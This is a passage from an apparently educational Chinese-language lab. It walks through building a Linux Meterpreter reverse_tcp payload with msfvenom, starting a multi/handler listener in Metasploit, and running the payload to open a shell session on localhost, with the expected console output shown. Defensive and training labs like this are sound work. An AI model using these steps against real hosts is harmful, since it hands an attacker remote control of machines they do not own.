获取目标 Meterpreter 会话
在此步骤中,在我们练习清理系统之前,我们首先需要获取对它的访问权限。我们将通过使用 msfvenom 创建一个 payload,在 Metasploit Framework 中设置一个监听器,然后“执行”我们自己的机器上的 payload 来获取 localhost 的 Meterpreter 会话来模拟这一过程。
首先,打开一个终端并使用 msfvenom 生成一个 Linux Meterpreter payload。此命令将在你的当前目录 (~/project) 中创建一个名为 payload.elf 的可执行文件。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
你应该会看到指示 payload 已成功生成的输出:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf
接下来,启动 Metasploit Framework 控制台。-q 标志使其静默启动,不显示横幅。
msfconsole -q
进入 msfconsole 提示符后,你需要配置一个监听器来接收来自 payload 的连接。我们将使用 exploit/multi/handler 模块。
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
exploit -j 命令将监听器作为后台作业启动,因此你仍然可以使用控制台。你将看到一条消息表明监听器已启动。
现在,通过点击终端窗口中的 + 图标打开一个新的终端标签页。在此新标签页中,使 payload 可执行并运行它。
chmod +x ~/project/payload.elf
~/project/payload.elf
切换回你的第一个终端标签页(带有 msfconsole)。你应该会看到一条消息,表明已打开一个 Meterpreter 会话。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400
要与此新会话进行交互,请使用 sessions 命令。
sessions -i 1
你的提示符应更改为 meterpreter >,表明你现在已控制该会话。